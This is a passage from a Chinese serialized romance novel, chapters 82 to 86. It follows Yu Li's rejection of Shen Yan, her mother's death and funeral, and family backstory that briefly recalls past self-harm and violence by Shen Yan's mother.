有风从窗口吹进来,今天开学,为了送星星,喻梨特意打扮过,卷发很蓬松,精心描绘过的五官娇艳,肤色瓷白如雪,是非常让人心动的一张脸。 “你还没有回答我,刚才怎么认出我的?”沈砚握着她手心,目光温柔,隐约含着某种期待。 喻梨冷眼看他,片刻后冷冷说:“你不是还想知道上次考虑的答案吗?沈砚,我不像你,我分人分得很清楚,自己的心意也很清楚,你是你,廷屹是廷屹,你连他的十分之一都不及,有什么资格做替代品?” 说完,她挣开他有些凉的手掌,转身去找护士。 这头处理好,严主任拿来拍好的片子:“幸好没伤到骨头,擦药揉一揉就好。”又提及,“对了,您的腿还好吗?要适当保养,否则容易落下旧疾。” 沈砚颔首:“会注意的,谢谢您。” 严主任就恭敬地送他们去医院门口。 严主任一走,喻梨直接说:“现在不欠你了。” 说完,抬手去着出租车,医院门口很多出租车。 沈砚握住她手臂,眸色沉静,又似乎被她那句话伤害,深邃眼眶里含了点别的东西:“我们还没谈完。” “你想谈什么?” “上次的合约收到了吗?” “我还在考虑。” “可以的话,我们边吃边谈?” 喻梨看一眼被他握住的手臂,嘲讽:“这就是你说的,你正在改变的做事方式?” 沈砚回答得很直白:“如果一味按照你喜欢的方式,那我应该没有机会再跟你谈话。” 喻梨冷笑一声。 沈砚放开她,避开她讽刺的眼神:“你可以选择你喜欢吃的菜。” 喻梨是真的有些饿,从中午折腾到医院,这会儿已经十二点半。 她看见对面一家面馆。 医院门口很多这种店铺,但那家卫生做得最干净,似乎想速战速决,喻梨开口:“那就吃面。” 说完,径直往对面店铺走。 沈砚微微皱眉,跟上。 正是饭点,面馆内人很多,不算是谈话的好地方。 “小碗肥肠粉,加节子。” “好嘞。”打单的服务员很快下单。 沈砚还在看墙上的菜单,喻梨看少爷一眼,他的确气质太特别,跟这小面馆格格不入,顿时冷笑:“吃不惯的话,你可以看着我吃。” 沈砚于是跟出单员说:“跟她一样的。” 点完单,喻梨在找位置。 面馆实在太小,这会儿又正值高峰期,不大好找位置。 沈砚跟过来,环视一圈,发现最里面还有两个,但要跟人拼桌。 “那边。”他带她过去。 喻梨要坐下前,沈砚说:“等等。”拿纸巾帮她擦拭了一下凳子。 又擦了一遍自己的。 两个人对面而坐。 旁边是一个大妈,跟一个年轻小伙,小伙坐在的沈砚旁边,大妈坐在喻梨旁边。 粉很快端上来。 沈砚看上面浮起的红油辣椒,微微皱眉。 喻梨实在有些饿,已经开始动筷。 “我不吃辣。”沈砚忽然开口道。 “那你自己去点一碗不加辣椒的。”喻梨想翻他白眼。 沈砚端坐着没动。 看她吃得唇色泛红,忽然有些意动,问她:“好吃吗” 喻梨终于肯抬头看他。 “你想跟我谈的是这碗粉好不好吃吗?” 沈砚想了想,面无表情说:“我想跟你谈星月弯的别墅、宏鑫资本的股份、北城的写字楼,还有家族信托,那份合约你怎么想的,要不要签字?” 隔壁小伙子的面条差点儿喷出来。 大妈目瞪口呆片刻,打量两人一眼:“你们在拍短剧哇?啥子剧?摄像机喃?” 喻梨:“.……”忽然很想撕烂对面那张嘴。 沈砚仿佛十分受用她此刻表情,薄唇极淡得往上翘了翘,显然在逗弄她。 第83章 第83章沈砚在纸箱面前站了一会…… “他这里有问题,我们今天专门来检查的精神科。”喻梨点了一下脑袋,跟旁边的阿姨小伙解释道。 阿姨一副恍然大悟的模样,看对面沈砚的目光顿时颇为同情。 沈砚往上翘的嘴角便立刻平下去,但也没有反驳,见喻梨吃得挺香的,折返去吧台重新点了一份不辣的。 等沈砚那碗粉上来的时候,隔壁大妈跟小伙已经走了,店内陆陆续续空出很多位置,没人再坐过来。 沈砚也很饿,毕竟扮玩偶是十分耗费体力的,尝了一口,意外的觉得不错,倒也优雅吃起来。 喻梨余光注意到他,沈砚吃东西向来慢条斯理,教养礼仪极好,是令人赏心悦目的。 高中时代,少女喜欢吃没营养的路边摊,沈砚向来嗤之以鼻,每每逮到她跟小女生一起在校外偷吃,是会被拧走的,喻梨那时叛逆,偏要让他尝尝路边的味道,有时候还要故意投喂他,看他皱眉嫌弃的表情,跟星星拿薯条喂他的举动异曲同工。 喻梨不知道自己为什么忽然想起这个,微微皱眉,索性搁下筷子。 沈砚看她一眼:“吃好了?” “嗯。”喻梨有点烦,懒得说话,拿出手机刷信息。 她没吃完就走,沈砚就默认她在等他,忍不住微微翘了一下唇。 沈砚吃东西,真的很慢,喻梨把微信来的信息刷完,又回复了,沈砚还没吃完。 她忍不住曲指敲击一下桌面,满脸不耐:“有那么好吃?” “我以为是你觉得不错,才带我来的。”沈砚目光平和。 喻梨就被噎了一下:“那你吃快点。” “你也这样催促 星星吃饭吗?”沈砚反问。 “你非要把自己放在儿童的位置比么?”喻梨语气里的不耐烦更明显。 沈砚桃花眼望着她,语调平稳:“我们很久没有认真吃过一次饭,我不想结束太早。” 喻梨怔了一下。 下一秒,她起身,毫不犹豫走出这家面馆。 沈砚微微叹气,大步追出来。 “你刚才明明在等我。”沈砚腿长,很快走在她身旁。 “因为我有教养。”说完,喻梨自己也很懊恼,像是无法解释自己又直接出门的举动,于是补了一句,“但对你没有。” “所以,你对我挺特别的。”沈砚微笑了一下。 喻梨脚步顿住,直视他:“嗯,特别讨厌!” 沈砚静默片刻,仿佛已经习惯她这种不留情面的残忍,转而说了句:“很好吃。” 他说这句话时,目光恬淡,俊脸也很认真,模样温柔笃定,仿佛真是吃了一顿不错的美味。 明明是气质冷峻又禀冽的一个人,却忽然说出这种朴素的赞美,仿佛享受。 沈砚单手插兜,口吻依旧直白的补充:“因为跟你一起吃,所以觉得味道很好。” 喻梨的小脸凝固了一下,片刻后,冷笑:“那你应该试着想想我的心情。” 沈砚桃花眼微微一缩,迅速沉默。 她潜台词那样明显,由不得他不沉默。 隔一会儿,喻梨镇定说:“我会签字。然后你告诉我,我还要怎么做,才能让你不用动不动在我面前出现,才能明确、肯定、绝对的让你清楚,我永永远远,不会接受你,不是因为你曾经的伤害,而是因为你是廷屹的哥哥,我光是想一想,就想吐。” 两个人站在穿了流不息的车辆边,喻梨一字一句,说得清楚明白,沈砚英俊桀骜的脸, 在她冷静清晰的口吻里一点点灰败。 “上次的事没有报警的原因是,你当时承诺永远不会跟我争夺星星的抚养权,以我对你的了解,这个承诺你会遵守,所以,就这样,我接受你对星星的探视权,但除此之外,沈砚,我们之间不会有别的,你如果对廷屹有一丝一毫的尊重,你都不应该碰我,你展现的喜欢跟深情,只会让我觉得你更加卑劣而已。” 沈砚拽住她手臂,灰败的眸色透着某种宛如灰烬般的执着,身体微微颤抖,声音像是从齿缝中挤出:“你明明最开始……” “是,我明明最开始喜欢的是你,但你随意问问路人,有谁还会记得自己初恋?而且是你,是你亲手把这份爱意撕烂扯碎,教会我一个人的宠爱是多么不牢靠的东西,因为你今天可以喜欢我,明天就可以爱上别人。我其实很希望你对方苒是认真的,不论方苒是个怎样的人,这样至少证明你对人还有过真心与忠诚。” 沈砚眼底的灰烬寸寸湮灭,手指无意识放开她,脸色差到仿佛下一秒就要死去。 喻梨说完,刚好旁边有出租车经过,她招手,拉开车门,直接上了车。 攒着积云的冬日,有雨滴飘落,雨水打在沈砚俊脸上、黑色冲锋衣上、把他脸色衬得苍白、冰冷且死气。 雨终于越下越大,越来越绵密。 沈砚似乎丝毫不察,迈着长腿走在绿化带旁,没有方向,没有知觉,周遭是匆匆避雨的人群,他在杂乱无序的人群里,那样笔直宛如行尸走肉般的走着,雨水沿着他漆黑的发丝,到睫毛、鼻梁、嘴唇、肩膀,彻底打湿…… 司机几次停车下来,将伞恭敬地撑在他头顶,被他推开。 他仿佛需要这样一场雨,让自己冷静、明白、清楚,但是越清醒越痛苦,雨水有多冷,心就有多冷。 直到垃圾桶旁边传来一声声虚弱的奶狗叫。 沈砚偏头看一眼,是只黑色小奶狗,应该是被人遗弃在纸箱,但纸箱也很快被雨水淋湿,小奶狗蜷缩在纸箱的角落里,虚弱又无助的叫唤。 沈砚在纸箱面前站了一会儿,有一瞬间觉得自己跟这只被遗弃的狗特别像。 他把黑色外套脱下来,搭在纸箱上,替它挡雨。 走了几步,他又折返,蹲下身摸摸那只奶狗的头,将它从纸箱里小心翼翼抱出来,上了旁边司机一直跟随着的豪车。 第84章 第84章心电图安静地拉成了直线…… 那只可怜的落水狗被沈砚带回家。 沈砚喂了点热牛奶给他,看他用尽力气乖乖碗里的白色液体,忍不住摸摸了它的小脑袋。 小奶狗发出轻微的叫声,虚弱到仿佛猫叫。 沈砚找来吹风机,轻轻帮他吹干毛发。 隔一会儿,沈砚脱掉湿漉漉的衣衫,长手长脚地踏进浴室,再出来时,他穿了一套米色棉质的居家服,黑色发丝半干,俊脸在奢华的灯光下眉骨深邃,温润干净。 小奶狗吃饱喝足,开始认主,精神抖擞地绕着他拖鞋打转。 沈砚随意套了件黑色外套,找了只纸箱装它,打算带到附近宠物馆给他洗澡和打疫苗。 雨已经停歇,空气里湿漉漉的,人行道上有积水的水哇。 从宠物馆回来时,碰到带星星跟果果玩的许英。 许英今日下班早,特意去接果果,顺便也接回了星星。 两个小朋友每次回家,都会在小区附近玩会儿秋千跟滑板。 今天下过雨,来玩儿的小朋友很少,但许英架不住两个孩子闹腾,把秋千擦干净了,让两个小朋友轮流荡。 这会儿星星被许英推着,兴奋得越荡越高,嘴巴里还不断让许英再高点儿。 小姑娘眼睛尖,荡到最高处时,一眼看见抱着黑色小狗以及狗粮的大伯。 顿时也不想荡秋千了,兴奋地朝沈砚跑过去:“大伯。” 小姑娘热情奔放扑过来,脚踩进水哇里,衣服上溅满水滴,一下子抱住沈砚的腿。 沈砚低落胸口发堵的情绪,仿佛都因为她笑容治愈,一点儿没嫌弃小姑娘身上的水泥点子,弯腰,将小狗放在地上,拢住她。 “这是小狗吗?”星星好奇地望着地上的小奶狗,想摸它,又似乎不敢。 沈砚就教她:“你可以摸它脑袋,轻轻的,它还不会咬人。” 星星试探着伸出白白净净的小手,摸了摸,小奶狗很会讨好人,似乎知道这是主人重视的人,讨好地往她手心蹭了蹭。 星星顿时露出笑容:“是你新买的吗?它有名字吗?” “捡的,星星帮它取个名字好不好?”沈砚温柔说。 “啊?捡的啊?她妈妈不要它了吗?”星星愣一下,小脸有些敏感的微微皱起。 沈砚便想起上次喻梨说‘不要’的事,他不确定星星当时听懂没,但还是换一种说法:“没有,它妈妈没有不要它,它只是走丢了,然后被我捡到。” “这样啊……”星星听懂了,小脸果然放松了些,“那你会帮它找妈妈吗?” “会,但是找到它妈妈之前,我们要收留它,所以,你给他取个名字好不好?” 星星很开心,重重点头:“嗯。” 刚好果果也好奇地跑过来,许英不得不跟上俩孩子。 果果胆子大些,很快上手,兴奋地摸了摸小奶狗。 星星嫌弃他手重,奶声奶气提醒他:“你要轻轻的,不然它会痛。”又高兴地跟果果分享,“这是我大伯捡的,它走丢了,大伯说在找到妈妈之前,可以养它,还要给它取名字。” “你想取什么名字?”果果顿时也来了兴趣。 两个小孩儿一边摸着小奶狗,一边绞尽脑汁地想名字。 “沈董。”许英跟沈砚打招呼道。 许英不是第一次见沈砚,表妹婚礼上就见过一次,幼儿园门口那次,对他印象也十分深刻,当时看他维护喻梨的模样,对他印象停留在矜贵、禀冽、不好招惹的上位者那一类,倒是今日看他一副居家打扮,跟星星对话时温柔细致,居然还会捡流浪狗,而且还是一只小土狗,对他看法便顿时有些微妙。 沈砚调查过喻 梨的全部,对她这位离异的邻居有印象,于是微微颔首:“你好,许小姐。” 果果说:“他好黑啊。” “像煤球。”星星接话。 “那就叫他煤球好不好,小名叫球球。”沈砚看一眼星星,目光又涩又温柔。 星星眼睛立刻亮了:“嗯,就叫煤球,球球。” 许英看了一眼时间,有些抱歉道:“果果待会儿还有培训课,沈董,我们可能要先回去了。” “可以。”沈砚颔首,又看一眼星星。 星星也很舍不得,她还很想跟煤球多玩一会儿呢,抱住沈砚的腿:“我要跟大伯和球球玩。” 许英顿时有些为难,她知道喻梨跟沈砚的关系,明明是帮忙接星星,如果不把星星带回去…… 沈砚倒没难为她,只是蹲下身对星星说:“先回去,改天再带你跟煤球玩好吗,妈妈在家等你,嗯?” 星星眼珠转了转:“那大伯去我家玩。” 沈砚表情更涩,克制着嗓音:“今天不行,今天大伯惹妈妈生气了,改天好吗?” 星星就有点不开心,半响,才垂头丧气地点了一下头。 许英看沈砚这副打扮,顺嘴问了一句:“沈董住这儿附近。” 沈砚也并不隐瞒:“嗯,一个小区,可以同路。”说完牵上星星的小手。 许英顿时有些震惊,沈砚什么时候搬进小区了? 父女俩往小区门口走,沈砚一手抱着纸箱,一手牵着星星。 许英和果果落后两步,走在后面。 走到小区门口,星星还在不满地嘟囔:“你怎么老是惹妈妈生气?” 沈砚听得心里难受,俊脸脸色变了变,半响才酸涩道:“因为大伯老是做错事。” “那你要早点改正。”星星立刻说。 “好。”沈砚满嘴苦涩。 许英跟在后头,无意间听着,居然听出几分酸涩感。 恰巧,喻梨打来电话,许英接了,听见喻梨声音有些着急,表情顿时变了,挂完电话,眼神有些复杂地看一眼星星:“星星,来,咱们得快点回去了。” 沈砚察觉到她表情异常,敏感觉得应该跟喻梨有关,问了一句:“怎么了?” 许英这时候也顾不得许多说:“喻梨说她母亲病危,目前刚送到医院,她得立刻带星星赶回去,可能就是这两天。” 沈砚眉头微蹙,看一眼望着大人们,一脸懵懂的星星:“机票订好了吗?” “还不知道,这会儿临时订票,也不知道来不来得及。”许英也跟着着急,牵起星星的手,“星星,咱们赶紧回家。” 说完,拉起星星和果果的小手匆匆往自己那栋楼层走。 奔跑中,星星还念念不舍地回头望了沈砚一眼。 喻梨让赵阿姨帮忙收拾行李,助理机票只能订到晚上12点的航班,飞北城至少三个小时,她也在不断刷新订票网站,看有没有临时退票可以补的。 蒋然语气沉重,只说徐凤芝刚刚进入重症监护室,医生的意思是,她癌细胞扩散到全身,已经无力回天,估计就这两天了。 仿佛回光返照。 几天前喻梨带星星回去,徐凤芝还能强打起精神陪着星星玩儿,喻梨还计划周末再带星星回去一次,怎么也没想到徐凤芝这么快就撑不住了。 许英把星星带回来,看她一脸六神无主且着急的模样,忍不住抱了抱她,但安慰的话说不出口,这种时候,所有的言语安慰仿佛都是苍白且无力的。 “抢到机票了吗?” “最快的航班只有12点的。”喻梨声音有点发抖。 “我帮你问问,看看有没有临时放出来的票。” 喻梨手机响,是沈砚。 这种时候,她挂断。 沈砚第二次打来,喻梨不得不接起来,但没说话。 沈砚先开口:“我今晚回北城,申请到的航线是9点的,你跟星星可以跟我一起。” 一副已经知道发生什么事的口吻。 喻梨喉头堵塞,她中午才跟他撂狠话,态度那样决绝。 “不是动不动出现在你面前,你可以当做最后一次,在你需要的时候。”沈砚仿佛猜到她心理,补充了一句。 喻梨犹豫片刻后说:“谢谢。” “半个小时后收拾东西下楼可以吗?” “嗯。” 挂完电话,看许英还在托关系帮她订早点出发的票,喻梨说了句:“不用了,我们半个小时后走。” 许英看到她接电话,顿时猜到了,解释一句:“刚才在小区门口碰到他,他似乎搬过来,星星跟他玩,正好接到你电话。” “嗯。谢谢。”喻梨说,已经懒得去计较她话语里,沈砚忽然搬过来的事。 事实上她脑子非常乱,是空白的,脑海里只剩徐凤芝的事。 许英又抱了抱她,无声安慰。 沈砚的私人飞机很豪华且宽敞。 星星还不知道发生什么,好奇地摸来摸去,招呼喻梨看,喻梨心事重重的,没有办法应付她。 沈砚就将星星抱到腿上,偷偷跟她说,不要打扰妈妈,大伯跟你讲故事好不好? 飞机平稳滑入平流层时,星星在沈砚怀里睡着。 他忍不住侧头看一一眼豪华座椅上的喻梨。 喻梨望着漆黑的舱舷外,眼泪掉得无知无觉,仿佛怎么都掉不完。 沈砚让服务人员帮她倒了一杯热牛奶。 喻梨麻木地将牛奶捧在手心,一句话没说。 喻梨在凌晨1点30坐沈砚的豪车赶到医院。 蒋静姝和蒋然都在,徐凤芝已经从ICU转到普通病房,已经是弥留之际,抢救也没什么用,呼吸机吊着最后一口气。 星星睡眼迷蒙,被喻梨牵着,推到徐凤芝身边。 徐凤芝似乎还能认得出星星,但是连朝外孙女挤出笑容的力气似乎都没有。 喻梨的眼睛很肿,知道徐凤芝已经说不出话,只是轻轻握住她的手,仿佛幼时徐凤芝牵她一样,轻轻叫她:“妈妈。” 声音微微哽咽但极为镇静温柔:“我陪着你,不要怕。” “来,小梨子,朝妈妈走过来,不怕,不会跌倒的,妈妈抱着你。”是第一次学走路,女人温柔地年幼的女儿展开双手。 “不要怕,妈妈陪着你,跳过去,一个水哇而已。”是下雨天,调皮的女儿想要躲开水哇。 “别怕,别怕,妈妈在后面撑着你的车车,啊,不怕。”是第一次学骑自行车。 …… 星星也握住奶奶的手,虽然她感觉奶奶今天很奇怪,跟着喻梨说:“星星陪着你,外婆不怕。” 徐凤芝仿佛觉得一切都值得了,安详地闭上了双眼。 心电图安静地拉成了直线。 第85章 第85章沈砚在医院停车场看到母…… 沈砚在医院停车场看到母亲的黑色林肯。 车里亮着灯,他犹豫片刻后,还是敲了敲车窗。 沈母穿得温婉低调,加绒的素色旗袍,配毛妮大衣,化了妆,发髻梳得一丝不苟,脖颈间的玉跟耳垂上的玉是一套的,翠绿无暇,通体剔透,是极难得的成色。 沈砚上车后,沉默片刻后,才忍不住开口问:“您……怎么来了?” 沈母坐得端正,仪态极好,偏头看一眼即使夜里也灯火通明的医院,口吻有些怅然:“知道消息,睡不着,干脆来送一送她。” 沈砚没有搭腔,母亲极少出门,他怎么也不会料到,她会为了徐凤芝出门。 沈母自顾说:“我看到她第一眼就知道,她是个有野心的女人,我不讨厌这种人,相反,很佩服她身上的生命力,那是养尊处优的我身上没有的东西。” “一个女人跟着一个白手起家的男人要走到我们这个圈子,需要费多大劲儿,徐凤芝做到了,有时候看她笨拙费力的样子还挺可爱的,倒也讨厌不起来。”说到这儿,沈母似乎想起什么,还微微笑了一下。 很快,她口吻冷戾:“但她千不该万不该招惹沈誉。” “她明知道的是我的东西,偏偏要去动,她动什么我都可以忍,但不该 去动沈誉。” “我后来想明白,她是嫉妒,女人的嫉妒心是多么可怕,她跟着喻东琛那个丧心病狂的东西,再看看我,心里应该有多不甘心啊。” “我可怜她,她应该也可怜我这个活在梦里的女人,沈誉爬她床的那刻我的梦就碎了,她该多得意,我们俩争了一辈子,比了一辈子,最后谁都没有赢。” “她输了命。” “我却输了儿子。” “母亲……”沈砚喉结滚动,看一眼她,想问问她最近有没有按时吃药。 沈母却平静地望过来,忽然强势拽住他手腕,将他腕表摘开,露出他手腕上的隐约的伤痕:“我知道是我逼你,逼你承诺永远不会喜欢上她女儿,你编造出一个方苒,编得我们所有人都信,连你自己都深信不疑,你骗我,也骗你自己,你看看你现在为了她女儿没出息的样子!”沈母的声音陡然严厉起来。 像那年夏天,她看见丈夫出轨闺蜜,被爱情与友情双双背叛,彻底失去理智,疯到杀人,长得极像沈誉的沈砚是第一个,她太痛了,想让沈誉跟着一起痛,于是在儿子和自己手腕上都划下刀痕,很快被人抢救,但是她不甘心,她那样深刻且热烈的爱过,于是恨也到了极致,有很长一段时间,她执着于让沈誉跟徐凤芝跟着一起痛,他们在乎什么,她就准备夺走什么,沈砚可以,喻梨也行,她甚至开车去撞过喻梨,但是被儿子救走…… 沈砚将沈母送回家,家庭医师过来,给沈母打了一剂安抚针剂,沈母恬静的睡着了。 第二天早晨醒来,她又若无其事的脸,在餐桌上喝粥,沈砚拉开她对面的椅子坐下,她淡淡问他:“昨天吓到你了?” 沈砚盛了一点粥到碗里,态度温和:“没有,医生说有情绪是好事,您上次不是说二婶想让您陪她出国散心吗,有想去的地方告诉我,我来安排。” “再过段时间吧,今年天气也不好,阴沉沉的,乱糟糟的。”说完,偏头望一眼窗外的阴天,心情似乎有些沉重。 沈砚跟着望过去。 喻梨在这样的天气里处理徐凤芝的丧事。 省外的舅舅跟舅妈赶过来了,蒋家的大部分亲朋好友也来了,以及徐凤芝生前的一些朋友,还有知道消息的喻梨的朋友。 吊唁的时候大多是说些安慰人的话,又问具体丧葬的时间,放下礼金,坐一会儿就走。 大部分时间,灵堂里只剩一种平静且清冷到极致的黑白色,徐凤芝静静躺在棺材里,妆容很浓,但因为疾病后的过分瘦削,几乎已经看不出生前的半点美貌,让人怀疑她生前是否那样热烈且花枝招展得活过。 沈誉是下午六点多来的。 来得低调,似乎特意挑了人少的时间,蒋然负责接待,两个人像是见过,客气的寒暄了几句,沈誉便进入灵堂,将手上的白菊放在徐凤芝旁边,望着终于折腾不动的徐凤芝,默哀了几分钟。 星星下午睡了一整个下午,由蒋静姝照顾,睡醒闹着要找妈妈,蒋静姝便带她过来了,小姑娘什么都不懂,在只有黑白色的的礼堂里乱窜。 “星星,别乱跑。”蒋静姝叫她。 星星跑到他旁边的蒋然面前,抱住蒋然的腿叫他,声音脆生生的:“外公,我妈妈呢?” 蒋然很自然的抱起她:“妈妈累了,在打盹儿,咱们不吵她,好不好?” ‘什么是打盹儿?’星星好奇的问。 “睡觉,休息,你妈妈从昨天到今天,太累了。”蒋然解释。 “哦。那外婆呢,我想外婆,她昨天睡着了,现在醒了没有?”小姑娘有些天真的问。 蒋然情绪有些憋不住,侧过头,微微红了眼眶,半响才说:“外婆也睡着了,星星乖,咱们也不吵外婆。” 小姑娘就懂事的点了一下头:“嗯。” 站在蒋然身边的沈誉很难不把注意力放在星星身上,全程看她跟蒋然聊天,大约他目光太直白,星星仿佛有点怕他,抱着蒋然脖子,缩紧蒋然怀里,有点怯怯地瞅着他。 “这是喻梨的孩子?”沈誉开口问道。 “是。星星,叫爷爷。” 星星鼓了鼓脸颊,一时没叫出口。 沈誉生得英俊儒雅,个子很高,身形清瘦,黑色西服低调内敛,戴一副金丝眼镜,严肃中带一丝和蔼。 沈誉叹口气,孩子怕生,他倒也并不一定要听她这句‘爷爷’,抬腿准备走。 但星星搂着蒋然脖子,还是礼貌叫出口:“爷爷好。” 沈誉怔住,心里有陌生情绪划过,金丝镜片后目光却更和蔼了些:“你好。” 星星就有些害羞的躲进蒋然脖子里。 沈誉的助理进来找他,沈誉匆忙抬腿走了。 上车前,他单手插兜,回头望了一眼礼堂的方向,忽然想起,当初跟喻家是定过亲的,如果没有发生那些事,沈砚应该已经跟喻梨结婚了,那么星星今日进来,第一个扑进的就不是蒋然怀里…… 终究是自己作下的孽。 喻梨被蒋然强制要求眯了一小会儿,但她睡不着,脑子里非常清醒,总觉得跟徐凤芝相处的点点滴滴走马灯一样从脑海里划过,每一分每一秒。 她已经不掉泪,很难在这种场景里哭泣,又觉得仿佛是幻觉,身边一切都非常虚幻,徐凤芝是那样狡猾的人,还惦记着海外那笔钱,怎么会说走就走? 或者下一秒,她就会又生龙活虎得站起来,跟她吵架,骂她死心眼,只会花她的钱。 但都没有这些,整个周遭静悄悄,诡秘且伤感到让人害怕。 喻梨很难睡着。 晚上是要守灵的。 舅舅跟蒋然留下来,喻梨也坚持不走,她是徐凤芝唯一的女儿,跟徐凤芝叛逆了半生,似乎也只能尽最后的一点孝心。 星星在她怀里睡着,小姑娘虽然懵懂,不知道发生了什么,但一整天都很乖,躺在妈妈怀里,不吵也不闹。 喻梨让蒋静姝把睡着的星星抱回家里休息了。 夜里没有宾客。 蒋然请了负责丧葬的大师傅,舅舅跟蒋然正在听大师傅的建议,安排三天后的丧葬事宜。 喻梨就静静坐着,时不时注意徐凤芝灵堂的蜡和香烛,燃尽之前需要立刻续上新的。 沈砚处理了一整天公务,晚上还有个不得不出席的应酬,他应了个卯,到灵堂之前,换上了黑色西服。 他车在门口停驻了很久,好半天,才推门下车。 进去后,发现除了一两个个工作人员,只剩蒋然跟另外两个男的。 喻梨旁边沙发上,抱着膝盖,黑衣黑裤,显得人很瘦,整个人静悄悄的,有种麻木的平静。 蒋然先看到他,下意识看了一眼喻梨,见喻梨没动,蒋然跟大师说了句什么,迎上来。 沈砚就礼貌的跟着蒋然去徐凤芝灵堂前上了一柱香。 出来时,喻梨依旧没什么反应。 沈砚默默坐到她身旁,没有说话。 仿佛无声陪伴,没有开口安慰,也没有多余的动作,只是坐在她身旁,但他个子高,其实就那么坐着,身上沉稳的气息已经笼罩过来。 蒋然还要商量徐凤芝下葬事宜,看一眼两人,无声的叹口气。 徐凤芝弟弟没见过沈砚,喻梨也没介绍,于是小声的问了一句:“那位是?” 蒋然也不知道该怎么解释,想了想,只好说:“沈氏那位,你应该听过。” 对方立刻露出惊奇的模样。 喻梨守了三个夜晚。 沈砚就来了三个夜晚。 大多是半夜来,第二天早晨在宾客到之前的时候走。 也不多说什么,就坐在喻梨旁边,静静陪着,很少说话。 后半夜喻梨困了,有时候不小心睡着,他就把西服脱下来,披在她身上,又轻轻把她头放在自己肩膀上,让她睡得舒服些。 有时候也会让人送些宵夜或者早餐什么的,大部分是熬得浓浓的粥类,看得出是家里的厨子。 喻梨对此很麻木,大部分时候其实不知道沈砚是什么时候来的,或者什么时候走的,但困极的时候,迷 迷糊糊,隐约能闻到他身上浅浅的类似雪松的味道,很安稳,也很平静。 至少那种时候,她会短暂忘记,徐凤芝离开这个世界的事实。 第86章 第86章徐凤芝下葬那天,阴沉了…… 徐凤芝下葬那天,阴沉了很久的天气又转晴了。 丧葬礼仪繁琐,一整套下来,近乎筋疲力尽,最后蒋然和喻梨一起送走了前来吊唁的宾客。 舅舅跟舅妈走时,抱了抱她,安慰了几句。 喻梨挤出一丝笑。 陆哲跟周远走时,也忍不住抱抱她,仿佛她憔悴的模样,非常需要人安慰。 但其实全程,喻梨一滴眼泪都没掉。 她只是,不再想回北城了。 四年前,她在北城送走沈廷屹,四年后她又送走了徐凤芝。 北城已经没有她爱的人了,剩余的,只有伤心。 是她记忆里的一座伤城。 徐凤芝的大部分遗产,早就立好遗嘱,很平均的分成了三份,分别给了星星、喻梨,以及蒋静姝,一些特别的东西,留给了蒋然和弟弟。 律师宣布遗产的时候,蒋静姝显得有些沉默。 晚上两个人在露台喝酒,她有些微醺地跟喻梨讲:“我一直以为她不爱我,只是利用我,她常常挂在嘴边说钱在哪儿,爱就在哪儿,原来我也很平均的得到了。” 喻梨勉强笑了一下,想起年幼时,她跟蒋静姝暗地里争夺徐凤芝的偏爱,该是多么幼稚的事啊。 而现在彼此都长大了。 喻梨偏头望着蒋家的花园,她曾经无数次想逃离的地方,觉得根本不是自己家的地方,成年赚钱以后第一时间就迫不及待逃出去的地方,如今,居然是北城自己唯一有归属感的地方。 其实也会有舍不得。 “你真的决定以后就定居南城了?”蒋静姝忽然问。 “嗯,星星以后会在那边上学,长大。”喻梨坦白道。 蒋静姝做得漂亮的指甲摩挲着红酒杯:“那……沈砚呢?你们在一起了吗?打算一起抚养星星。” 上次星星失踪的事,星星是沈砚的女儿这件事蒋然跟蒋静姝就已经知道了,两个人虽然震惊,但是没有多嘴询问。 徐凤芝去世,沈砚每天晚上过来陪喻梨守夜,虽然两个人几乎全程无对话,但沈砚的态度还是很明显的。 “我们不会在一起,至于星星……”喻梨偏头看一眼卧室床上睡着的女儿,“我会慢慢学着接受有个人跟我一起爱她。” 蒋静姝就觉得自己挺傻气的,亏她之前还担心沈砚是为了针对喻梨,特意跑去南城提醒喻梨,原来不过是人家paly的一环。 但其实早就有迹可循。 蒋静姝想了想说:“你还记得我跟你说,沈砚找我签合约,做方苒的替代品,外人都以为我们在交往,沈砚送过我三次回家,都是很忽然的提出,其实根本没必要,现在想一想,他似乎每次都是挑你在家的时候。” 喻梨微微怔愣。 蒋静姝就很烦:“这种感觉真的很讨厌!”端起红酒杯起身了。 但转头看到卧室里的星星时,她又叹口气:“但是我还是希望星星有完整的爸爸和妈妈,她这么可爱,值得拥有世界上最好最完整的爱。” 说完,蒋静姝大约是真的有些醉了,冷笑一声:“呵,大伯,沈砚也挺能忍的嘛。” 喻梨没有搭腔。 蒋静姝自觉无趣,轻手轻脚的经过卧室,避免吵醒星星,回自己房间了。 喻梨离开南城那天,提早去看徐凤芝。 墓碑照片上的徐凤芝依然是漂亮到极致的张扬,喻梨牵着星星的手,小姑娘最近已经从妈妈口中知道,外婆跟爸爸一样,搬去天上住了,星星从小接受爸爸在天上住这件事,倒是很快接受外婆也搬去天上了。 小女孩不时抬头看一眼妈妈,又看一眼面前的外婆,表情有些懵懂,但是能感受到妈妈身上磅礴的悲伤,于是想了想说:“妈妈,我不会搬去那么远住的。” “我要一直跟妈妈住一起。”星星奶声奶气的补了一句。 喻梨被小朋友的童言童语抚慰,弯腰紧紧搂住了星星。 下山的时候,星星走得很累,喻梨就抱起她。 沈砚的司机过来接,行李箱已经放在上面了,但沈砚今日重要商务会议,没有来送。 司机送她们去机场。 喻梨带着星星在机场的贵宾室候机,星星在吃零食,看旁边座椅上有位阿姨若有所思的盯着自己,星星就大胆的把自己零食递过去,大方的:“阿姨,给你尝。” 徐清晚飞南城有商业活动。 候机时,见到这对母女。 女人很瘦,皮肤特别白,眼底有淡淡青影,透着一丝憔悴,但五官很耐看,是那种越看越有味道的长相,女儿几乎继承了她身上所有优点,扎着可可爱爱的小辫子,白嫩嫩的小脸蛋几乎快掐出水来。 是对高颜值母女。 徐清晚很少刻意去注意别人,她比赛刚结束不久,有短暂休息时间,上次回家听母亲说起的沈家的事,沈砚在照顾南城的一对母女,在圈内已经不算是秘密,各种传言都有,有人说孩子是沈家去世的儿子沈廷屹的,也有人说,孩子可能是沈砚的,这种事在圈子里很难捂住,众说纷纭,说什么的都有。 父母建议她不要蹚这滩浑水,沈家再富,他们对她的要求也只是希望她能找个门当户对的,家庭氛围健康点儿的。 但徐清晚仍然想试试,人生一辈子很长,也很短,能遇到自己喜欢中意的,其实是非常小的概率。 大概是运动员的天性,徐清晚是那种瞄准了目标,就很难更改的类型。 